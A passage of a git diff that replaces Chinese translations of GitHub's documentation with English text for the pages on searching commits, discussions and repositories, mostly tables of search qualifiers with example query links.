匹配 chris@github.com 提交的提交。 | +| Qualifier | Example +| ------------- | ------------- +| author-email:EMAIL | [**author-email:chris@github.com**](https://github.com/search?q=author-email%3Achris%40github.com&type=Commits) matches commits authored by chris@github.com. +| committer-email:EMAIL | [**committer-email:chris@github.com**](https://github.com/search?q=committer-email%3Achris%40github.com&type=Commits) matches commits committed by chris@github.com. -## 按创作或提交日期搜索 +## Search by authored or committed date -使用 `author-date` 和 `committer-date` 限定符可匹配指定日期范围内创作或提交的提交。 +Use the `author-date` and `committer-date` qualifiers to match commits authored or committed within the specified date range. {% data reusables.search.date_gt_lt %} -| 限定符 | 示例 | -| ------------------------- | ------------------------------------------------------------------------------------------------------------------------------------- | -| author-date:YYYY-MM-DD | [**author-date:<2016-01-01**](https://github.com/search?q=author-date%3A<2016-01-01&type=Commits) 匹配 2016-01-01 之前创作的提交。 | -| committer-date:YYYY-MM-DD | [**committer-date:>2016-01-01**](https://github.com/search?q=committer-date%3A>2016-01-01&type=Commits) 匹配 2016-01-01 之后的提交。 | +| Qualifier | Example +| ------------- | ------------- +| author-date:YYYY-MM-DD | [**author-date:<2016-01-01**](https://github.com/search?q=author-date%3A<2016-01-01&type=Commits) matches commits authored before 2016-01-01. +| committer-date:YYYY-MM-DD | [**committer-date:>2016-01-01**](https://github.com/search?q=committer-date%3A>2016-01-01&type=Commits) matches commits committed after 2016-01-01. -## 过滤合并提交 +## Filter merge commits -`merge` 限定符过滤合并提交。 +The `merge` qualifier filters merge commits. -| 限定符 | 示例 | -| ------------- | ---------------------------------------------------------------------------------- | -| `merge:true` | [**merge:true**](https://github.com/search?q=merge%3Atrue&type=Commits) 匹配合并提交。 | -| `merge:false` | [**merge:false**](https://github.com/search?q=merge%3Afalse&type=Commits) 匹配非合并提交。 | +| Qualifier | Example +| ------------- | ------------- +| `merge:true` | [**merge:true**](https://github.com/search?q=merge%3Atrue&type=Commits) matches merge commits. +| `merge:false` | [**merge:false**](https://github.com/search?q=merge%3Afalse&type=Commits) matches non-merge commits. -## 按哈希搜索 +## Search by hash -`hash` 限定符匹配具有指定 SHA-1 哈希的提交。 +The `hash` qualifier matches commits with the specified SHA-1 hash. -| 限定符 | 示例 | -| ------------------------- | --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | -| hash:HASH | [**hash:124a9a0ee1d8f1e15e833aff432fbb3b02632105**](https://github.com/github/gitignore/search?q=hash%3A124a9a0ee1d8f1e15e833aff432fbb3b02632105&type=Commits) 匹配具有哈希 `124a9a0ee1d8f1e15e833aff432fbb3b02632105` 的提交。 | +| Qualifier | Example +| ------------- | ------------- +| hash:HASH | [**hash:124a9a0ee1d8f1e15e833aff432fbb3b02632105**](https://github.com/github/gitignore/search?q=hash%3A124a9a0ee1d8f1e15e833aff432fbb3b02632105&type=Commits) matches commits with the hash `124a9a0ee1d8f1e15e833aff432fbb3b02632105`. -## 按父项搜索 +## Search by parent -`parent` 限定符匹配其父项具有指定 SHA-1 哈希的提交。 +The `parent` qualifier matches commits whose parent has the specified SHA-1 hash. -| 限定符 | 示例 | -| ------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | -| parent:HASH | [**parent:124a9a0ee1d8f1e15e833aff432fbb3b02632105**](https://github.com/github/gitignore/search?q=parent%3A124a9a0ee1d8f1e15e833aff432fbb3b02632105&type=Commits&utf8=%E2%9C%93) 匹配具有哈希 `124a9a0ee1d8f1e15e833aff432fbb3b02632105` 的提交的子项。 | +| Qualifier | Example +| ------------- | ------------- +| parent:HASH | [**parent:124a9a0ee1d8f1e15e833aff432fbb3b02632105**](https://github.com/github/gitignore/search?q=parent%3A124a9a0ee1d8f1e15e833aff432fbb3b02632105&type=Commits&utf8=%E2%9C%93) matches children of commits with the hash `124a9a0ee1d8f1e15e833aff432fbb3b02632105`. -## 按树搜索 +## Search by tree -`tree` 限定符匹配具有指定 SHA-1 git 树哈希的提交。 +The `tree` qualifier matches commits with the specified SHA-1 git tree hash. -| 限定符 | 示例 | -| -------------------------- | ------------------------------------------------------------------------------------------------------------------- | -| tree:HASH | [**tree:99ca967**](https://github.com/github/gitignore/search?q=tree%3A99ca967&type=Commits) 匹配引用树哈希 `99ca967` 的提交。 | +| Qualifier | Example +| ------------- | ------------- +| tree:HASH | [**tree:99ca967**](https://github.com/github/gitignore/search?q=tree%3A99ca967&type=Commits) matches commits that refer to the tree hash `99ca967`. -## 在用户或组织的仓库内搜索 +## Search within a user's or organization's repositories -要在特定用户或组织拥有的所有仓库中搜索提交，请使用 `user` 或 `org` 限定符。 要在特定仓库中搜索提交，请使用 `repo` 限定符。 +To search commits in all repositories owned by a certain user or organization, use the `user` or `org` qualifier. To search commits in a specific repository, use the `repo` qualifier. -| 限定符 | 示例 | -| -------------------------- | -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | -| user:USERNAME | [**gibberish user:defunkt**](https://github.com/search?q=gibberish+user%3Adefunkt&type=Commits&utf8=%E2%9C%93) 匹配 @defunkt 拥有的仓库中含有 "gibberish" 字样的提交消息。 | -| org:ORGNAME | [**test org:github**](https://github.com/search?utf8=%E2%9C%93&q=test+org%3Agithub&type=Commits) 匹配 @github 拥有的仓库中含有 "test" 字样的提交消息。 | -| repo:USERNAME/REPO | [**language repo:defunkt/gibberish**](https://github.com/search?utf8=%E2%9C%93&q=language+repo%3Adefunkt%2Fgibberish&type=Commits) 匹配 @defunkt 的 "gibberish" 仓库中含有 "language" 字样的提交消息。 | +| Qualifier | Example +| ------------- | ------------- +| user:USERNAME | [**gibberish user:defunkt**](https://github.com/search?q=gibberish+user%3Adefunkt&type=Commits&utf8=%E2%9C%93) matches commit messages with the word "gibberish" in repositories owned by @defunkt. +| org:ORGNAME | [**test org:github**](https://github.com/search?utf8=%E2%9C%93&q=test+org%3Agithub&type=Commits) matches commit messages with the word "test" in repositories owned by @github. +| repo:USERNAME/REPO | [**language repo:defunkt/gibberish**](https://github.com/search?utf8=%E2%9C%93&q=language+repo%3Adefunkt%2Fgibberish&type=Commits) matches commit messages with the word "language" in @defunkt's "gibberish" repository. -## 按仓库可见性过滤 +## Filter by repository visibility -`is` 限定符匹配具有指定可见性的仓库中的提交。 更多信息请参阅“[关于仓库](/repositories/creating-and-managing-repositories/about-repositories#about-repository-visibility)”。 +The `is` qualifier matches commits from repositories with the specified visibility. For more information, see "[About repositories](/repositories/creating-and-managing-repositories/about-repositories#about-repository-visibility)." -| 限定符 | 示例 | ------------- | ------------- |{% ifversion fpt or ghes or ghec %} | `is:public` | [**is:public**](https://github.com/search?q=is%3Apublic&type=Commits) 匹配对公共仓库的提交。{% endif %} | `is:internal` | [**is:internal**](https://github.com/search?q=is%3Ainternal&type=Commits) 匹配对内部仓库的提交。 | `is:private` | [**is:private**](https://github.com/search?q=is%3Aprivate&type=Commits) 匹配对私有仓库的提交。 +| Qualifier | Example +| ------------- | ------------- | +{%- ifversion fpt or ghes or ghec %} +| `is:public` | [**is:public**](https://github.com/search?q=is%3Apublic&type=Commits) matches commits to public repositories. +{%- endif %} -## 延伸阅读 +{%- ifversion ghes or ghec or ghae %} +| `is:internal` | [**is:internal**](https://github.com/search?q=is%3Ainternal&type=Commits) matches commits to internal repositories. +{%- endif %} -- “[排序搜索结果](/search-github/getting-started-with-searching-on-github/sorting-search-results/)” +| `is:private` | [**is:private**](https://github.com/search?q=is%3Aprivate&type=Commits) matches commits to private repositories. + +## Further reading + +- "[Sorting search results](/search-github/getting-started-with-searching-on-github/sorting-search-results/)" diff --git a/translations/zh-CN/content/search-github/searching-on-github/searching-discussions.md b/translations/zh-CN/content/search-github/searching-on-github/searching-discussions.md index 056b21d56a..dfd0e87b86 100644 --- a/translations/zh-CN/content/search-github/searching-on-github/searching-discussions.md +++ b/translations/zh-CN/content/search-github/searching-on-github/searching-discussions.md @@ -1,6 +1,6 @@ --- -title: 搜索讨论 -intro: '您可以在 {% data variables.product.product_name %} 上搜索讨论，并使用搜索限定符缩小结果范围。' +title: Searching discussions +intro: 'You can search for discussions on {% data variables.product.product_name %} and narrow the results using search qualifiers.' versions: fpt: '*' ghec: '*' @@ -11,104 +11,108 @@ redirect_from: - /github/searching-for-information-on-github/searching-on-github/searching-discussions --- -## 关于搜索讨论 +## About searching for discussions -您可以在所有 {% data variables.product.product_name %} 中全局搜索讨论，也可以在特定组织或仓库内搜索讨论。 更多信息请参阅“[关于在 {% data variables.product.prodname_dotcom %} 上搜索](/github/searching-for-information-on-github/about-searching-on-github)”。 +You can search for discussions globally across all of {% data variables.product.product_name %}, or search for discussions within a particular organization or repository. For more information, see "[About searching on {% data variables.product.prodname_dotcom %}](/github/searching-for-information-on-github/about-searching-on-github)." {% data reusables.search.syntax_tips %} -## 按标题、正文或评论搜索 +## Search by the title, body, or comments -使用 `in` 限定符可将讨论搜索范围限制在标题、正文或注释中。 您还可以组合限定符来搜索标题、正文或注释的组合。 省略 `in` 限定符时，{% data variables.product.product_name %} 将搜索标题、正文和注释。 +With the `in` qualifier you can restrict your search for discussions to the title, body, or comments. You can also combine qualifiers to search a combination of title, body, or comments. When you omit the `in` qualifier, {% data variables.product.product_name %} searches the title, body, and comments. -| 限定符 | 示例 | -|:------------- |:----------------------------------------------------------------------------------------------------------------------------- | -| `in:title` | [**welcome in:title**](https://github.com/search?q=welcome+in%3Atitle&type=Discussions) 匹配标题中含有 "welcome" 的讨论。 | -| `in:body` | [**onboard in:title,body**](https://github.com/search?q=onboard+in%3Atitle%2Cbody&type=Discussions) 匹配标题或正文中含有 "onboard" 的讨论。 | -| `in:comments` | [**thanks in:comments**](https://github.com/search?q=thanks+in%3Acomment&type=Discussions) 匹配讨论注释中含有 "thanks" 的讨论。 | +| Qualifier | Example | +| :- | :- | +| `in:title` | [**welcome in:title**](https://github.com/search?q=welcome+in%3Atitle&type=Discussions) matches discussions with "welcome" in the title. | +| `in:body` | [**onboard in:title,body**](https://github.com/search?q=onboard+in%3Atitle%2Cbody&type=Discussions) matches discussions with "onboard" in the title or body. | +| `in:comments` | [**thanks in:comments**](https://github.com/search?q=thanks+in%3Acomment&type=Discussions) matches discussions with "thanks" in the comments for the discussion. | -## 在用户或组织的仓库内搜索 +## Search within a user's or organization's repositories -要在特定用户或组织拥有的所有仓库中搜索讨论，您可以使用 `user` 或 `org` 限定符。 要在特定仓库中搜索讨论，您可以使用 `repo` 限定符。 +To search discussions in all repositories owned by a certain user or organization, you can use the `user` or `org` qualifier. To search discussions in a specific repository, you can use the `repo` qualifier. -| 限定符 | 示例 | -|:------------------------- |:------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ | -| user:USERNAME | [**user:octocat feedback**](https://github.com/search?q=user%3Aoctocat+feedback&type=Discussions) 匹配 @octocat 拥有的仓库中含有单词 "feedback" 的讨论。 | -| org:ORGNAME | [**org:github**](https://github.com/search?q=org%3Agithub&type=Discussions&utf8=%E2%9C%93) 匹配 GitHub 组织拥有的仓库中的讨论。 | -| repo:USERNAME/REPOSITORY | [**repo:nodejs/node created:<2021-01-01**](https://github.com/search?q=repo%3Anodejs%2Fnode+created%3A%3C2020-01-01&type=Discussions) 匹配 @nodejs' Node.js 运行时项目中在 2021 年 1 月之前创建的讨论。 | +| Qualifier | Example | +| :- | :- | +| user:USERNAME | [**user:octocat feedback**](https://github.com/search?q=user%3Aoctocat+feedback&type=Discussions) matches discussions with the word "feedback" from repositories owned by @octocat. | +| org:ORGNAME | [**org:github**](https://github.com/search?q=org%3Agithub&type=Discussions&utf8=%E2%9C%93) matches discussions in repositories owned by the GitHub organization. | +| repo:USERNAME/REPOSITORY | [**repo:nodejs/node created:<2021-01-01**](https://github.com/search?q=repo%3Anodejs%2Fnode+created%3A%3C2020-01-01&type=Discussions) matches discussions from @nodejs' Node.js runtime project that were created before January 2021. | -## 按仓库可见性过滤 +## Filter by repository visibility -您可以使用 `is` 限定符，按包含讨论的仓库的可见性进行过滤。 更多信息请参阅“[关于仓库](/repositories/creating-and-managing-repositories/about-repositories#about-repository-visibility)”。 +You can filter by the visibility of the repository containing the discussions using the `is` qualifier. For more information, see "[About repositories](/repositories/creating-and-managing-repositories/about-repositories#about-repository-visibility)." -| 限定符 | 示例 | :- | :- |{% ifversion fpt or ghes or ghec %} | `is:public` | [**is:public**](https://github.com/search?q=is%3Apublic&type=Discussions) 匹配公共仓库中的讨论。{% endif %} | `is:internal` | [**is:internal**](https://github.com/search?q=is%3Ainternal&type=Discussions) 匹配内部仓库中的讨论。 | `is:private` | [**is:private tiramisu**](https://github.com/search?q=is%3Aprivate+tiramisu&type=Discussions) 匹配您有权访问的私有仓库含有单词 "tiramisu" 的讨论。 +| Qualifier | Example +| :- | :- |{% ifversion fpt or ghes or ghec %} +| `is:public` | [**is:public**](https://github.com/search?q=is%3Apublic&type=Discussions) matches discussions in public repositories.{% endif %}{% ifversion ghec %} +| `is:internal` | [**is:internal**](https://github.com/search?q=is%3Ainternal&type=Discussions) matches discussions in internal repositories.{% endif %} +| `is:private` | [**is:private tiramisu**](https://github.com/search?q=is%3Aprivate+tiramisu&type=Discussions) matches discussions that contain the word "tiramisu" in private repositories you can access. -## 按作者搜索 +## Search by author -`author` 限定符查找由特定用户创建的讨论。 +The `author` qualifier finds discussions created by a certain user. -| 限定符 | 示例 | -|:------------------------- |:------------------------------------------------------------------------------------------------------------------------------------------------------------------ | -| author:USERNAME | [**cool author:octocat**](https://github.com/search?q=cool+author%3Aoctocat&type=Discussions) 匹配由 @octocat 创建的含有单词 "cool" 的讨论。 | -| | [**bootstrap in:body author:octocat**](https://github.com/search?q=bootstrap+in%3Abody+author%3Aoctocat&type=Discussions) 匹配由 @octocat 创建的正文中含有单词 "bootstrap" 的讨论。 | +| Qualifier | Example | +| :- | :- | +| author:USERNAME | [**cool author:octocat**](https://github.com/search?q=cool+author%3Aoctocat&type=Discussions) matches discussions with the word "cool" that were created by @octocat. | +| | [**bootstrap in:body author:octocat**](https://github.com/search?q=bootstrap+in%3Abody+author%3Aoctocat&type=Discussions) matches discussions created by @octocat that contain the word "bootstrap" in the body. | -## 按评论者搜索 +## Search by commenter -`commenter` 限定符查找含有特定用户评论的讨论。 +The `commenter` qualifier finds discussions that contain a comment from a certain user. -| 限定符 | 示例 | -|:------------------------- |:------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ | -| commenter:USERNAME | [**github commenter:becca org:github**](https://github.com/search?utf8=%E2%9C%93&q=github+commenter%3Abecca+org%3Agithub&type=Discussions) 匹配 GitHub 拥有的仓库中含有单词 "github" 并且由 @becca 评论的讨论。 | +| Qualifier | Example | +| :- | :- | +| commenter:USERNAME | [**github commenter:becca org:github**](https://github.com/search?utf8=%E2%9C%93&q=github+commenter%3Abecca+org%3Agithub&type=Discussions) matches discussions in repositories owned by GitHub, that contain the word "github," and have a comment by @becca. -## 按涉及讨论的用户搜索 +## Search by a user that's involved in a discussion -您可以使用 `involves` 限定符查找涉及特定用户的讨论。 该限定符返回由特定用户创建、提及该用户或包含该用户评论的讨论。 `involves` 限定符是单一用户 `author`、`mentions` 和 `commenter` 限定符之间的逻辑 OR（或）。 +You can use the `involves` qualifier to find discussions that involve a certain user. The qualifier returns discussions that were either created by a certain user, mention the user, or contain comments by the user. The `involves` qualifier is a logical OR between the `author`, `mentions`, and `commenter` qualifiers for a single user. -| 限定符 | 示例 | -|:------------------------- |:--------------------------------------------------------------------------------------------------------------------------------------------------------- | -| involves:USERNAME | **[involves:becca involves:octocat](https://github.com/search?q=involves%3Abecca+involves%3Aoctocat&type=Discussions)** 匹配涉及 @becca 或 @octocat 的讨论。 | -| | [**NOT beta in:body involves:becca**](https://github.com/search?q=NOT+beta+in%3Abody+involves%3Abecca&type=Discussions) 匹配涉及 @becca 且正文中不包含单词 "beta" 的讨论。 | +| Qualifier | Example | +| :- | :- | +| involves:USERNAME | **[involves:becca involves:octocat](https://github.com/search?q=involves%3Abecca+involves%3Aoctocat&type=Discussions)** matches discussions either @becca or @octocat are involved in. +| | [**NOT beta in:body involves:becca**](https://github.com/search?q=NOT+beta+in%3Abody+involves%3Abecca&type=Discussions) matches discussions @becca is involved in that do not contain the word "beta" in the body. -## 按评论数量搜索 +## Search by number of comments -您可以使用 `comments` 限定符以及大于、小于和范围限定符以按评论数量搜索。 更多信息请参阅“[了解搜索语法](/github/searching-for-information-on-github/understanding-the-search-syntax)”。 +You can use the `comments` qualifier along with greater than, less than, and range qualifiers to search by the number of comments. For more information, see "[Understanding the search syntax](/github/searching-for-information-on-github/understanding-the-search-syntax)." -| 限定符 | 示例 | -|:------------------------- |:-------------------------------------------------------------------------------------------------------------------- | -| comments:n | [**comments:>100**](https://github.com/search?q=comments%3A%3E100&type=Discussions) 匹配超过 100 条评论的讨论。 | -| | [**comments:500..1000**](https://github.com/search?q=comments%3A500..1000&type=Discussions) 匹配具有 500 到 1,000 条评论的讨论。 | +| Qualifier | Example | +| :- | :- | +| comments:n | [**comments:>100**](https://github.com/search?q=comments%3A%3E100&type=Discussions) matches discussions with more than 100 comments. +| | [**comments:500..1000**](https://github.com/search?q=comments%3A500..1000&type=Discussions) matches discussions with comments ranging from 500 to 1,000. -## 按交互数量搜索 +## Search by number of interactions -您可以使用 `interactions` 限定符以及大于、小于和范围限定符按交互数量过滤讨论。 交互数量是对讨论的反应和评论数量。 更多信息请参阅“[了解搜索语法](/github/searching-for-information-on-github/understanding-the-search-syntax)”。 +You can filter discussions by the number of interactions with the `interactions` qualifier along with greater than, less than, and range qualifiers. The interactions count is the number of reactions and comments on a discussion. For more information, see "[Understanding the search syntax](/github/searching-for-information-on-github/understanding-the-search-syntax)." -| 限定符 | 示例 | -|:------------------------- |:------------------------------------------------------------------------------------------------------------- | -| interactions:n | [** interactions:>2000**](https://github.com/search?q=interactions%3A%3E2000) 匹配超过 2,000 个交互的讨论。 | -| | [**interactions:500..1000**](https://github.com/search?q=interactions%3A500..1000) 匹配 500 至 1,000 个交互的讨论。 | +| Qualifier | Example | +| :- | :- | +| interactions:n | [** interactions:>2000**](https://github.com/search?q=interactions%3A%3E2000) matches discussions with more than 2,000 interactions. +| | [**interactions:500..1000**](https://github.com/search?q=interactions%3A500..1000) matches discussions with interactions ranging from 500 to 1,000. -## 按反应数量搜索 +## Search by number of reactions -您可以使用 `reactions` 限定符以及大于、小于和范围限定符按反应数量过滤讨论。 更多信息请参阅“[了解搜索语法](/github/searching-for-information-on-github/understanding-the-search-syntax)”。 +You can filter discussions by the number of reactions using the `reactions` qualifier along with greater than, less than, and range qualifiers. For more information, see "[Understanding the search syntax](/github/searching-for-information-on-github/understanding-the-search-syntax)." -| 限定符 | 示例 | -|:------------------------- |:---------------------------------------------------------------------------------------------------- | -| reactions:n | [** reactions:>1000**](https://github.com/search?q=reactions%3A%3E500) 匹配超过 500 个反应的讨论。 | -| | [**reactions:500..1000**](https://github.com/search?q=reactions%3A500..1000) 匹配 500 至 1,000 个反应的讨论。 | +| Qualifier | Example | +| :- | :- | +| reactions:n | [** reactions:>1000**](https://github.com/search?q=reactions%3A%3E500) matches discussions with more than 500 reactions. +| | [**reactions:500..1000**](https://github.com/search?q=reactions%3A500..1000) matches discussions with reactions ranging from 500 to 1,000. -## 按讨论创建或上次更新时间搜索 +## Search by when a discussion was created or last updated -您可以基于创建时间或上次更新时间过滤讨论。 对于讨论创建，您可以使用 `created` 限定符；要了解讨论上次更新的时间，请使用 `updated` 限定符。 +You can filter discussions based on times of creation, or when the discussion was last updated. For discussion creation, you can use the `created` qualifier; to find out when an discussion was last updated, use the `updated` qualifier. -两个限定符都使用日期作为参数。 {% data reusables.time_date.date_format %} {% data reusables.time_date.time_format %} +Both qualifiers take a date as a parameter. {% data reusables.time_date.date_format %} {% data reusables.time_date.time_format %} {% data reusables.search.date_gt_lt %} -| 限定符 | 示例 | -|:-------------------------- |:------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | -| created:YYYY-MM-DD | [**created:>2020-11-15**](https://github.com/search?q=created%3A%3E%3D2020-11-15&type=discussions) 匹配 2020 年 11 月 15 日之后创建的讨论。 | -| updated:YYYY-MM-DD | [**weird in:body updated:>=2020-02-01**](https://github.com/search?q=weird+in%3Abody+updated%3A%3E%3D2020-12-01&type=Discussions) 匹配 2020 年 12 月之后更新的正文中含有单词 "weird" 的讨论。 | +| Qualifier | Example | +| :- | :- | +| created:YYYY-MM-DD | [**created:>2020-11-15**](https://github.com/search?q=created%3A%3E%3D2020-11-15&type=discussions) matches discussions that were created after November 15, 2020. +| updated:YYYY-MM-DD | [**weird in:body updated:>=2020-02-01**](https://github.com/search?q=weird+in%3Abody+updated%3A%3E%3D2020-12-01&type=Discussions) matches discussions with the word "weird" in the body that were updated after December 2020. -## 延伸阅读 +## Further reading -- “[排序搜索结果](/search-github/getting-started-with-searching-on-github/sorting-search-results/)” +- "[Sorting search results](/search-github/getting-started-with-searching-on-github/sorting-search-results/)" diff --git a/translations/zh-CN/content/search-github/searching-on-github/searching-for-repositories.md b/translations/zh-CN/content/search-github/searching-on-github/searching-for-repositories.md index d0f55508f7..d0f25c2d0c 100644 --- a/translations/zh-CN/content/search-github/searching-on-github/searching-for-repositories.md +++ b/translations/zh-CN/content/search-github/searching-on-github/searching-for-repositories.md @@ -1,6 +1,6 @@ --- -title: 搜索仓库 -intro: '您可以在 {% data variables.product.product_name %} 上搜索仓库，并使用这些仓库搜索限定符的任意组合缩小结果范围。' +title: Searching for repositories +intro: 'You can search for repositories on {% data variables.product.product_name %} and narrow the results using these repository search qualifiers in any combination.' redirect_from: - /articles/searching-repositories/ - /articles/searching-for-repositories @@ -13,190 +13,193 @@ versions: ghec: '*' topics: - GitHub search -shortTitle: 搜索仓库 +shortTitle: Search for repositories --- +You can search for repositories globally across all of {% data variables.product.product_location %}, or search for repositories within a particular organization. For more information, see "[About searching on {% data variables.product.prodname_dotcom %}](/search-github/getting-started-with-searching-on-github/about-searching-on-github)." -您可以在所有 {% data variables.product.product_location %} 内全局搜索仓库，也可以在特定组织内搜索仓库。 更多信息请参阅“[关于在 {% data variables.product.prodname_dotcom %} 上搜索](/search-github/getting-started-with-searching-on-github/about-searching-on-github)”。 - -要在搜索结果中包括复刻，您需要将 `fork:true` 或 `fork:only` 添加到查询。 更多信息请参阅“[在复刻中搜索](/search-github/searching-on-github/searching-in-forks)”。 +To include forks in the search results, you will need to add `fork:true` or `fork:only` to your query. For more information, see "[Searching in forks](/search-github/searching-on-github/searching-in-forks)." {% data reusables.search.syntax_tips %} -## 按仓库名称、说明或自述文件内容搜索 +## Search by repository name, description, or contents of the README file -通过 `in` 限定符，您可以将搜索限制为仓库名称、仓库说明、自述文件内容或这些的任意组合。 如果省略此限定符，则只搜索仓库名称和说明。 +With the `in` qualifier you can restrict your search to the repository name, repository description, contents of the README file, or any combination of these. When you omit this qualifier, only the repository name and description are searched. -| 限定符 | 示例 | -| ----------------- | ----------------------------------------------------------------------------------------------------------------------------------------- | -| `in:name` | [**jquery in:name**](https://github.com/search?q=jquery+in%3Aname&type=Repositories) 匹配仓库名称中含有 "jquery" 的仓库。 | -| `in:description` | [**jquery in:name,description**](https://github.com/search?q=jquery+in%3Aname%2Cdescription&type=Repositories) 匹配仓库名称或说明中含有 "jquery" 的仓库。 | -| `in:readme` | [**jquery in:readme**](https://github.com/search?q=jquery+in%3Areadme&type=Repositories) 匹配仓库自述文件中提及 "jquery" 的仓库。 | -| `repo:owner/name` | [**repo:octocat/hello-world**](https://github.com/search?q=repo%3Aoctocat%2Fhello-world) 匹配特定仓库名称。 | +| Qualifier | Example +| ------------- | ------------- +| `in:name` | [**jquery in:name**](https://github.com/search?q=jquery+in%3Aname&type=Repositories) matches repositories with "jquery" in the repository name. +| `in:description` | [**jquery in:name,description**](https://github.com/search?q=jquery+in%3Aname%2Cdescription&type=Repositories) matches repositories with "jquery" in the repository name or description. +| `in:readme` | [**jquery in:readme**](https://github.com/search?q=jquery+in%3Areadme&type=Repositories) matches repositories mentioning "jquery" in the repository's README file. +| `repo:owner/name` | [**repo:octocat/hello-world**](https://github.com/search?q=repo%3Aoctocat%2Fhello-world) matches a specific repository name. -## 基于仓库的内容搜索 +## Search based on the contents of a repository -您可以使用 `in:readme` 限定符，通过搜索仓库自述文件中的内容来查找仓库。 更多信息请参阅“[关于自述文件](/github/creating-cloning-and-archiving-repositories/about-readmes)”。 +You can find a repository by searching for content in the repository's README file using the `in:readme` qualifier. For more information, see "[About READMEs](/github/creating-cloning-and-archiving-repositories/about-readmes)." -除了使用 `in:readme` 以外，无法通过搜索仓库内的特定内容来查找仓库。 要搜索仓库内的特定文件或内容，您可以使用查找器或代码特定的搜索限定符。 更多信息请参阅“[在 {% data variables.product.prodname_dotcom %} 上查找文件](/search-github/searching-on-github/finding-files-on-github)”和“[搜索代码](/search-github/searching-on-github/searching-code)”。 +Besides using `in:readme`, it's not possible to find repositories by searching for specific content within the repository. To search for a specific file or content within a repository, you can use the file finder or code-specific search qualifiers. For more information, see "[Finding files on {% data variables.product.prodname_dotcom %}](/search-github/searching-on-github/finding-files-on-github)" and "[Searching code](/search-github/searching-on-github/searching-code)." -| 限定符 | 示例 | -| ----------- | --------------------------------------------------------------------------------------------------------------------- | -| `in:readme` | [**octocat in:readme**](https://github.com/search?q=octocat+in%3Areadme&type=Repositories) 匹配仓库自述文件中提及 "octocat" 的仓库。 | +| Qualifier | Example +| ------------- | ------------- +| `in:readme` | [**octocat in:readme**](https://github.com/search?q=octocat+in%3Areadme&type=Repositories) matches repositories mentioning "octocat" in the repository's README file. -## 在用户或组织的仓库内搜索 +## Search within a user's or organization's repositories -要在特定用户或组织拥有的所有仓库中搜索，您可以使用 `user` 或 `org` 限定符。 +To search in all repositories owned by a certain user or organization, you can use the `user` or `org` qualifier. -| 限定符 | 示例 | -| ------------------------- | ---------------------------------------------------------------------------------------------------------------------------------------------------- | -| user:USERNAME | [**user:defunkt forks:>100**](https://github.com/search?q=user%3Adefunkt+forks%3A%3E%3D100&type=Repositories) 匹配来自 @defunkt、拥有超过 100 复刻的仓库。 | -| org:ORGNAME | [**org:github**](https://github.com/search?utf8=%E2%9C%93&q=org%3Agithub&type=Repositories) 匹配来自 GitHub 的仓库。 | +| Qualifier | Example +| ------------- | ------------- +| user:USERNAME | [**user:defunkt forks:>100**](https://github.com/search?q=user%3Adefunkt+forks%3A%3E%3D100&type=Repositories) matches repositories from @defunkt that have more than 100 forks. +| org:ORGNAME | [**org:github**](https://github.com/search?utf8=%E2%9C%93&q=org%3Agithub&type=Repositories) matches repositories from GitHub. -## 按仓库大小搜索 +## Search by repository size -`size` 限定符使用大于、小于和范围限定符查找匹配特定大小（以千字节为单位）的仓库。 更多信息请参阅“[了解搜索语法](/github/searching-for-information-on-github/understanding-the-search-syntax)”。 +The `size` qualifier finds repositories that match a certain size (in kilobytes), using greater than, less than, and range qualifiers. For more information, see "[Understanding the search syntax](/github/searching-for-information-on-github/understanding-the-search-syntax)." -| 限定符 | 示例 | -| ------------------------- | -------------------------------------------------------------------------------------------------------------- | -| size:n | [**size:1000**](https://github.com/search?q=size%3A1000&type=Repositories) 匹配恰好为 1 MB 的仓库。 | -| | [**size:>=30000**](https://github.com/search?q=size%3A%3E%3D30000&type=Repositories) 匹配至少为 30 MB 的仓库。 | -| | [**size:<50**](https://github.com/search?q=size%3A%3C50&type=Repositories) 匹配小于 50 KB 的仓库。 | -| | [**size:50..120**](https://github.com/search?q=size%3A50..120&type=Repositories) 匹配介于 50 KB 与 120 KB 之间的仓库。 | +| Qualifier | Example +| ------------- | ------------- +| size:n | [**size:1000**](https://github.com/search?q=size%3A1000&type=Repositories) matches repositories that are 1 MB exactly. +| | [**size:>=30000**](https://github.com/search?q=size%3A%3E%3D30000&type=Repositories) matches repositories that are at least 30 MB. +| | [**size:<50**](https://github.com/search?q=size%3A%3C50&type=Repositories) matches repositories that are smaller than 50 KB. +| | [**size:50..120**](https://github.com/search?q=size%3A50..120&type=Repositories) matches repositories that are between 50 KB and 120 KB. -## 按关注者数量搜索 +## Search by number of followers -您可以使用 `followers` 限定符以及大于、小于和范围限定符，基于关注仓库的用户数量过滤仓库。 更多信息请参阅“[了解搜索语法](/github/searching-for-information-on-github/understanding-the-search-syntax)”。 +You can filter repositories based on the number of users who follow the repositories, using the `followers` qualifier with greater than, less than, and range qualifiers. For more information, see "[Understanding the search syntax](/github/searching-for-information-on-github/understanding-the-search-syntax)." -| 限定符 | 示例 | -| ------------------------- | --------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | -| followers:n | [**node followers:>=10000**](https://github.com/search?q=node+followers%3A%3E%3D10000) 匹配有 10,000 或更多关注者提及文字 "node" 的仓库。 | -| | [**styleguide linter followers:1..10**](https://github.com/search?q=styleguide+linter+followers%3A1..10&type=Repositories) 匹配拥有 1 到 10 个关注者并且提及 "styleguide linter" 一词的的仓库。 | +| Qualifier | Example +| ------------- | ------------- +| followers:n | [**node followers:>=10000**](https://github.com/search?q=node+followers%3A%3E%3D10000) matches repositories with 10,000 or more followers mentioning the word "node". +| | [**styleguide linter followers:1..10**](https://github.com/search?q=styleguide+linter+followers%3A1..10&type=Repositories) matches repositories with between 1 and 10 followers, mentioning the word "styleguide linter." -## 按复刻数量搜索 +## Search by number of forks -`forks` 限定符使用大于、小于和范围限定符指定仓库应具有的复刻数量。 更多信息请参阅“[了解搜索语法](/github/searching-for-information-on-github/understanding-the-search-syntax)”。 +The `forks` qualifier specifies the number of forks a repository should have, using greater than, less than, and range qualifiers. For more information, see "[Understanding the search syntax](/github/searching-for-information-on-github/understanding-the-search-syntax)." -| 限定符 | 示例 | -| ------------------------- | -------------------------------------------------------------------------------------------------------------- | -| forks:n | [**forks:5**](https://github.com/search?q=forks%3A5&type=Repositories) 匹配只有 5 个复刻的仓库。 